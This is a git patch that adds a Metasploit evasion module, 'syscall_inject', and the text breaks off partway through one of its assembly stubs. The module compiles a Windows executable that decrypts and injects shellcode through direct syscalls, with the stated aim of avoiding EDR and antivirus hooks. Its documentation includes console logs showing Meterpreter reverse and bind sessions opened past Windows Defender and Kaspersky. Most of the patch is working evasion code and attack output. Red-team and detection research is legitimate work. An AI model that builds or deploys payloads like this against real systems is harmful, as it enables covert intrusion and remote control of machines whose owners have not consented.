From 907be4418e820a47361eca10cd057725da21c690 Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Sun, 1 Aug 2021 19:22:32 +0300 Subject: [PATCH 1/8] Added module syscall_inject with documentation --- .../modules/evasion/windows/syscall_inject.md | 115 +++ lib/metasploit/framework/compiler/mingw.rb | 21 +- modules/evasion/windows/syscall_inject.rb | 900 ++++++++++++++++++ 3 files changed, 1027 insertions(+), 9 deletions(-) create mode 100644 documentation/modules/evasion/windows/syscall_inject.md create mode 100644 modules/evasion/windows/syscall_inject.rb diff --git a/documentation/modules/evasion/windows/syscall_inject.md b/documentation/modules/evasion/windows/syscall_inject.md new file mode 100644 index 0000000000..f0609f70e4 --- /dev/null +++ b/documentation/modules/evasion/windows/syscall_inject.md @@ -0,0 +1,115 @@ +## Description +This module lets you create a Windows executable that injects a specific payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via direct syscalls achieved by Mingw's inline assembly. +Mingw needs (x86_64) to be installed on the system and in the PATH enviroment variable. + +## Verification Steps +steps using a meterpreter/reverse_tcp payload on a 64-bits target: + +1. `use evasion/windows/syscall_inject` +1. `set LHOST ` +1. `set payload windows/x64/meterpreter/reverse_tcp` +1. `handler -p windows/x64/meterpreter/reverse_tcp -H -P ` +1. `run` +1. Make sure that "Automatic Sample Submission" is off in Windows Defender +1. Copy the generated executable file to a specified location (e.g. target PC) +1. Run it +1. Verify that you got a session without being blocked by Antimalware + +## Options + +### CIPHER +Encryption algorithm used to encrypt the payload. Available ones (XOR, RC4) + +### FILENAME +Filename for the generated evasive file file. The default is random. + +### JUNK +Adding random data such as names, emails and GUIDs to the final executable + +### SLEEP +Specify how much (time x 2) the program sleeps prior to execute the shellcode's thread (NtCreateThread). +NOTE: the longer the better chance to avoid being detected. + +## Advanced + +### OptLevel +Optimization level passed to the compiler (Mingw) + +## Scenarios +### Windows 10 (x64) version 20H2 with Defender +``` +msf6 > use evasion/windows/syscall_inject +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 evasion(windows/syscall_inject) > set SLEEP 10000 +SLEEP => 10000 +msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104 +LHOST => 192.168.1.104 +msf6 evasion(windows/syscall_inject) > run + +[+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe +msf6 evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ +[*] exec: cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ + +msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444 +[*] Payload handler running as background job 1. + +[*] Started reverse TCP handler on 192.168.1.104:4444 +msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103 +[*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300 + +msf6 evasion(windows/syscall_inject) > sessions -i 3 +[*] Starting interaction with 3... + +meterpreter > sysinfo +Computer : DESKTOP-822593D +OS : Windows 10 (10.0 Build 19042). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.1.103 - Meterpreter session 3 closed. Reason: User exit +``` +### Windows server 2012 (x64) with Kaspersky 10.2.6.3733 +``` +msf6 > use evasion/windows/syscall_inject +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp +payload => windows/x64/meterpreter_bind_tcp +msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76 +RHOST => 192.168.225.76 +msf6 evasion(windows/syscall_inject) > set LPORT 10156 +LPORT => 10156 +msf6 evasion(windows/syscall_inject) > set cipher rc4 +cipher => rc4 +msf6 evasion(windows/syscall_inject) > run + +[+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe +msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~ +[*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~ + +msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156 +[*] Payload handler running as background job 0. + +[*] Started bind TCP handler against 192.168.225.76:10156 +msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300 + +msf6 evasion(windows/syscall_inject) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : LABCE28 +OS : Windows 2012 (6.2 Build 9200). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 386 +Meterpreter : x64/windows +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.225.76 - Meterpreter session 1 closed. Reason: User exit +``` \ No newline at end of file diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 3dd4128013..8452f0df80 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -1,5 +1,4 @@ require 'open3' - module Metasploit module Framework module Compiler @@ -12,7 +11,6 @@ module Metasploit def compile_c(src) cmd = build_cmd(src) - stdin_err, status = Open3.capture2e(cmd) stdin_err end @@ -36,13 +34,16 @@ module Metasploit # allowing them to be reordered cmd << '-ffunction-sections ' cmd << '-fno-asynchronous-unwind-tables ' - cmd << '-nostdlib ' cmd << '-fno-ident ' cmd << opt_level - - link_options << '--no-seh,' - link_options << '-s,' if self.strip_syms - link_options << "-T#{self.link_script}" if self.link_script + if self.compile_options + cmd << self.compile_options + else + cmd << '-nostdlib ' + end + link_options << '--no-seh' + link_options << ',-s' if self.strip_syms + link_options << ",-T#{self.link_script}" if self.link_script cmd << link_options @@ -67,7 +68,7 @@ module Metasploit class X86 include Mingw - attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin + attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options def initialize(opts={}) @file_name = opts[:f_name] @@ -75,6 +76,7 @@ module Metasploit @keep_src = opts[:keep_src] @strip_syms = opts[:strip_symbols] @link_script = opts[:linker_script] + @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] @mingw_bin = MINGW_X86 end @@ -87,7 +89,7 @@ module Metasploit class X64 include Mingw - attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin + attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options def initialize(opts={}) @file_name = opts[:f_name] @@ -95,6 +97,7 @@ module Metasploit @keep_src = opts[:keep_src] @strip_syms = opts[:strip_symbols] @link_script = opts[:linker_script] + @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] @mingw_bin = MINGW_X64 end diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb new file mode 100644 index 0000000000..320e231371 --- /dev/null +++ b/modules/evasion/windows/syscall_inject.rb @@ -0,0 +1,900 @@ +require 'metasploit/framework/compiler/mingw' +class MetasploitModule < Msf::Evasion + INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h') + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Direct windows syscall evasion technique', + 'Description' => %q{ + This module allows you to generate a Windows EXE that evades Host-based security products + such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking. + + please try to use payloads that use a more secure transfer channel such as HTTPS or RC4 + in order to avoid payload's network traffic getting caught by network defense mechanisms. + NOTE: for better evasion ratio, use high SLEEP values + }, + 'Author' => [ 'Yaz (kensh1ro)' ], + 'License' => MSF_LICENSE, + 'Platform' => 'windows', + 'Arch' => ARCH_X64, + 'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ], + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + }, + 'Targets' => [['Microsoft Windows (x64)', {}]] + ) + ) + register_options( + [ + OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'xor', ['xor', 'rc4']]), + OptInt.new('SLEEP', [false, 'Sleep time before executing shellcode', 7000]), + OptBool.new('JUNK', [false, 'Add random info to the final executable', true]) + ] + ) + + register_advanced_options( + [ + OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', [ 'Og', 'Os', 'O0', 'O1', 'O2', 'O3' ] ]), + ] + ) + end + + def nt_alloc + %^ + __asm__("NtAllocateVirtualMemory: \\n\\ + mov rax, gs:[0x60] \\n\\ + NtAllocateVirtualMemory_Check_X_X_XXXX: \\n\\ + cmp dword ptr [rax+0x118], 6 \\n\\ + je NtAllocateVirtualMemory_Check_6_X_XXXX \\n\\ + cmp dword ptr [rax+0x118], 10 \\n\\ + je NtAllocateVirtualMemory_Check_10_0_XXXX \\n\\ + jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ + NtAllocateVirtualMemory_Check_6_X_XXXX: \\n\\ + cmp dword ptr [rax+0x11c], 1 \\n\\ + je NtAllocateVirtualMemory_Check_6_1_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 2 \\n\\ + je NtAllocateVirtualMemory_SystemCall_6_2_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 3 \\n\\ + je NtAllocateVirtualMemory_SystemCall_6_3_XXXX \\n\\ + jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ + NtAllocateVirtualMemory_Check_6_1_XXXX: \\n\\ + cmp word ptr [rax+0x120], 7600 \\n\\ + je NtAllocateVirtualMemory_SystemCall_6_1_7600 \\n\\ + cmp word ptr [rax+0x120], 7601 \\n\\ + je NtAllocateVirtualMemory_SystemCall_6_1_7601 \\n\\ + jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ + NtAllocateVirtualMemory_Check_10_0_XXXX: \\n\\ + cmp word ptr [rax+0x120], 10240 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_10240 \\n\\ + cmp word ptr [rax+0x120], 10586 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_10586 \\n\\ + cmp word ptr [rax+0x120], 14393 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_14393 \\n\\ + cmp word ptr [rax+0x120], 15063 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_15063 \\n\\ + cmp word ptr [rax+0x120], 16299 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_16299 \\n\\ + cmp word ptr [rax+0x120], 17134 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_17134 \\n\\ + cmp word ptr [rax+0x120], 17763 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_17763 \\n\\ + cmp word ptr [rax+0x120], 18362 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_18362 \\n\\ + cmp word ptr [rax+0x120], 18363 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_18363 \\n\\ + cmp word ptr [rax+0x120], 19041 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_19041 \\n\\ + cmp word ptr [rax+0x120], 19042 \\n\\ + je NtAllocateVirtualMemory_SystemCall_10_0_19042 \\n\\ + jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ + NtAllocateVirtualMemory_SystemCall_6_1_7600: \\n\\ + mov eax, 0x0015 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_6_1_7601: \\n\\ + mov eax, 0x0015 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_6_2_XXXX: \\n\\ + mov eax, 0x0016 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_6_3_XXXX: \\n\\ + mov eax, 0x0017 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_10240: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_10586: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_14393: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_15063: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_16299: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_17134: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_17763: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_18362: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_18363: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_19041: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_10_0_19042: \\n\\ + mov eax, 0x0018 \\n\\ + jmp NtAllocateVirtualMemory_Epilogue \\n\\ + NtAllocateVirtualMemory_SystemCall_Unknown: \\n\\ + ret \\n\\ + NtAllocateVirtualMemory_Epilogue: \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + ^.strip + end + + def nt_close + %( + NtClose: \\n\\ + mov rax, gs:[0x60] \\n\\ + NtClose_Check_X_X_XXXX: \\n\\ + cmp dword ptr [rax+0x118], 6 \\n\\ + je NtClose_Check_6_X_XXXX \\n\\ + cmp dword ptr [rax+0x118], 10 \\n\\ + je NtClose_Check_10_0_XXXX \\n\\ + jmp NtClose_SystemCall_Unknown \\n\\ + NtClose_Check_6_X_XXXX: \\n\\ + cmp dword ptr [rax+0x11c], 1 \\n\\ + je NtClose_Check_6_1_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 2 \\n\\ + je NtClose_SystemCall_6_2_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 3 \\n\\ + je NtClose_SystemCall_6_3_XXXX \\n\\ + jmp NtClose_SystemCall_Unknown \\n\\ + NtClose_Check_6_1_XXXX: \\n\\ + cmp word ptr [rax+0x120], 7600 \\n\\ + je NtClose_SystemCall_6_1_7600 \\n\\ + cmp word ptr [rax+0x120], 7601 \\n\\ + je NtClose_SystemCall_6_1_7601 \\n\\ + jmp NtClose_SystemCall_Unknown \\n\\ + NtClose_Check_10_0_XXXX: \\n\\ + cmp word ptr [rax+0x120], 10240 \\n\\ + je NtClose_SystemCall_10_0_10240 \\n\\ + cmp word ptr [rax+0x120], 10586 \\n\\ + je NtClose_SystemCall_10_0_10586 \\n\\ + cmp word ptr [rax+0x120], 14393 \\n\\ + je NtClose_SystemCall_10_0_14393 \\n\\ + cmp word ptr [rax+0x120], 15063 \\n\\ + je NtClose_SystemCall_10_0_15063 \\n\\ + cmp word ptr [rax+0x120], 16299 \\n\\ + je NtClose_SystemCall_10_0_16299 \\n\\ + cmp word ptr [rax+0x120], 17134 \\n\\ + je NtClose_SystemCall_10_0_17134 \\n\\ + cmp word ptr [rax+0x120], 17763 \\n\\ + je NtClose_SystemCall_10_0_17763 \\n\\ + cmp word ptr [rax+0x120], 18362 \\n\\ + je NtClose_SystemCall_10_0_18362 \\n\\ + cmp word ptr [rax+0x120], 18363 \\n\\ + je NtClose_SystemCall_10_0_18363 \\n\\ + cmp word ptr [rax+0x120], 19041 \\n\\ + je NtClose_SystemCall_10_0_19041 \\n\\ + cmp word ptr [rax+0x120], 19042 \\n\\ + je NtClose_SystemCall_10_0_19042 \\n\\ + jmp NtClose_SystemCall_Unknown \\n\\ + NtClose_SystemCall_6_1_7600: \\n\\ + mov eax, 0x000c \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_6_1_7601: \\n\\ + mov eax, 0x000c \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_6_2_XXXX: \\n\\ + mov eax, 0x000d \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_6_3_XXXX: \\n\\ + mov eax, 0x000e \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_10240: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_10586: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_14393: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_15063: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_16299: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_17134: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_17763: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_18362: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_18363: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_19041: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_10_0_19042: \\n\\ + mov eax, 0x000f \\n\\ + jmp NtClose_Epilogue \\n\\ + NtClose_SystemCall_Unknown: \\n\\ + ret \\n\\ + NtClose_Epilogue: \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + ).strip + end + + def nt_create_thread + %( + NtCreateThreadEx: \\n\\ + mov rax, gs:[0x60] \\n\\ + NtCreateThreadEx_Check_X_X_XXXX: \\n\\ + cmp dword ptr [rax+0x118], 6 \\n\\ + je NtCreateThreadEx_Check_6_X_XXXX \\n\\ + cmp dword ptr [rax+0x118], 10 \\n\\ + je NtCreateThreadEx_Check_10_0_XXXX \\n\\ + jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ + NtCreateThreadEx_Check_6_X_XXXX: \\n\\ + cmp dword ptr [rax+0x11c], 1 \\n\\ + je NtCreateThreadEx_Check_6_1_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 2 \\n\\ + je NtCreateThreadEx_SystemCall_6_2_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 3 \\n\\ + je NtCreateThreadEx_SystemCall_6_3_XXXX \\n\\ + jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ + NtCreateThreadEx_Check_6_1_XXXX: \\n\\ + cmp word ptr [rax+0x120], 7600 \\n\\ + je NtCreateThreadEx_SystemCall_6_1_7600 \\n\\ + cmp word ptr [rax+0x120], 7601 \\n\\ + je NtCreateThreadEx_SystemCall_6_1_7601 \\n\\ + jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ + NtCreateThreadEx_Check_10_0_XXXX: \\n\\ + cmp word ptr [rax+0x120], 10240 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_10240 \\n\\ + cmp word ptr [rax+0x120], 10586 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_10586 \\n\\ + cmp word ptr [rax+0x120], 14393 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_14393 \\n\\ + cmp word ptr [rax+0x120], 15063 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_15063 \\n\\ + cmp word ptr [rax+0x120], 16299 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_16299 \\n\\ + cmp word ptr [rax+0x120], 17134 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_17134 \\n\\ + cmp word ptr [rax+0x120], 17763 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_17763 \\n\\ + cmp word ptr [rax+0x120], 18362 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_18362 \\n\\ + cmp word ptr [rax+0x120], 18363 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_18363 \\n\\ + cmp word ptr [rax+0x120], 19041 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_19041 \\n\\ + cmp word ptr [rax+0x120], 19042 \\n\\ + je NtCreateThreadEx_SystemCall_10_0_19042 \\n\\ + jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ + NtCreateThreadEx_SystemCall_6_1_7600: \\n\\ + mov eax, 0x00a5 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_6_1_7601: \\n\\ + mov eax, 0x00a5 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_6_2_XXXX: \\n\\ + mov eax, 0x00af \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_6_3_XXXX: \\n\\ + mov eax, 0x00b0 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_10240: \\n\\ + mov eax, 0x00b3 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_10586: \\n\\ + mov eax, 0x00b4 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_14393: \\n\\ + mov eax, 0x00b6 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_15063: \\n\\ + mov eax, 0x00b9 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_16299: \\n\\ + mov eax, 0x00ba \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_17134: \\n\\ + mov eax, 0x00bb \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_17763: \\n\\ + mov eax, 0x00bc \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_18362: \\n\\ + mov eax, 0x00bd \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_18363: \\n\\ + mov eax, 0x00bd \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_19041: \\n\\ + mov eax, 0x00c1 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_10_0_19042: \\n\\ + mov eax, 0x00c1 \\n\\ + jmp NtCreateThreadEx_Epilogue \\n\\ + NtCreateThreadEx_SystemCall_Unknown: \\n\\ + ret \\n\\ + NtCreateThreadEx_Epilogue: \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + ).strip + end + + def nt_open_process + %( + NtOpenProcess: \\n\\ + mov rax, gs:[0x60] \\n\\ + NtOpenProcess_Check_X_X_XXXX: \\n\\ + cmp dword ptr [rax+0x118], 6 \\n\\ + je NtOpenProcess_Check_6_X_XXXX \\n\\ + cmp dword ptr [rax+0x118], 10 \\n\\ + je NtOpenProcess_Check_10_0_XXXX \\n\\ + jmp NtOpenProcess_SystemCall_Unknown \\n\\ + NtOpenProcess_Check_6_X_XXXX: \\n\\ + cmp dword ptr [rax+0x11c], 1 \\n\\ + je NtOpenProcess_Check_6_1_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 2 \\n\\ + je NtOpenProcess_SystemCall_6_2_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 3 \\n\\ + je NtOpenProcess_SystemCall_6_3_XXXX \\n\\ + jmp NtOpenProcess_SystemCall_Unknown \\n\\ + NtOpenProcess_Check_6_1_XXXX: \\n\\ + cmp word ptr [rax+0x120], 7600 \\n\\ + je NtOpenProcess_SystemCall_6_1_7600 \\n\\ + cmp word ptr [rax+0x120], 7601 \\n\\ + je NtOpenProcess_SystemCall_6_1_7601 \\n\\ + jmp NtOpenProcess_SystemCall_Unknown \\n\\ + NtOpenProcess_Check_10_0_XXXX: \\n\\ + cmp word ptr [rax+0x120], 10240 \\n\\ + je NtOpenProcess_SystemCall_10_0_10240 \\n\\ + cmp word ptr [rax+0x120], 10586 \\n\\ + je NtOpenProcess_SystemCall_10_0_10586 \\n\\ + cmp word ptr [rax+0x120], 14393 \\n\\ + je NtOpenProcess_SystemCall_10_0_14393 \\n\\ + cmp word ptr [rax+0x120], 15063 \\n\\ + je NtOpenProcess_SystemCall_10_0_15063 \\n\\ + cmp word ptr [rax+0x120], 16299 \\n\\ + je NtOpenProcess_SystemCall_10_0_16299 \\n\\ + cmp word ptr [rax+0x120], 17134 \\n\\ + je NtOpenProcess_SystemCall_10_0_17134 \\n\\ + cmp word ptr [rax+0x120], 17763 \\n\\ + je NtOpenProcess_SystemCall_10_0_17763 \\n\\ + cmp word ptr [rax+0x120], 18362 \\n\\ + je NtOpenProcess_SystemCall_10_0_18362 \\n\\ + cmp word ptr [rax+0x120], 18363 \\n\\ + je NtOpenProcess_SystemCall_10_0_18363 \\n\\ + cmp word ptr [rax+0x120], 19041 \\n\\ + je NtOpenProcess_SystemCall_10_0_19041 \\n\\ + cmp word ptr [rax+0x120], 19042 \\n\\ + je NtOpenProcess_SystemCall_10_0_19042 \\n\\ + jmp NtOpenProcess_SystemCall_Unknown \\n\\ + NtOpenProcess_SystemCall_6_1_7600: \\n\\ + mov eax, 0x0023 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_6_1_7601: \\n\\ + mov eax, 0x0023 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_6_2_XXXX: \\n\\ + mov eax, 0x0024 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_6_3_XXXX: \\n\\ + mov eax, 0x0025 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_10240: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_10586: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_14393: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_15063: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_16299: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_17134: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_17763: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_18362: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_18363: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_19041: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_10_0_19042: \\n\\ + mov eax, 0x0026 \\n\\ + jmp NtOpenProcess_Epilogue \\n\\ + NtOpenProcess_SystemCall_Unknown: \\n\\ + ret \\n\\ + NtOpenProcess_Epilogue: \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + ).strip + end + + def nt_wait + %( + NtWaitForSingleObject: \\n\\ + mov rax, gs:[0x60] \\n\\ + NtWaitForSingleObject_Check_X_X_XXXX: \\n\\ + cmp dword ptr [rax+0x118], 6 \\n\\ + je NtWaitForSingleObject_Check_6_X_XXXX \\n\\ + cmp dword ptr [rax+0x118], 10 \\n\\ + je NtWaitForSingleObject_Check_10_0_XXXX \\n\\ + jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ + NtWaitForSingleObject_Check_6_X_XXXX: \\n\\ + cmp dword ptr [rax+0x11c], 1 \\n\\ + je NtWaitForSingleObject_Check_6_1_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 2 \\n\\ + je NtWaitForSingleObject_SystemCall_6_2_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 3 \\n\\ + je NtWaitForSingleObject_SystemCall_6_3_XXXX \\n\\ + jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ + NtWaitForSingleObject_Check_6_1_XXXX: \\n\\ + cmp word ptr [rax+0x120], 7600 \\n\\ + je NtWaitForSingleObject_SystemCall_6_1_7600 \\n\\ + cmp word ptr [rax+0x120], 7601 \\n\\ + je NtWaitForSingleObject_SystemCall_6_1_7601 \\n\\ + jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ + 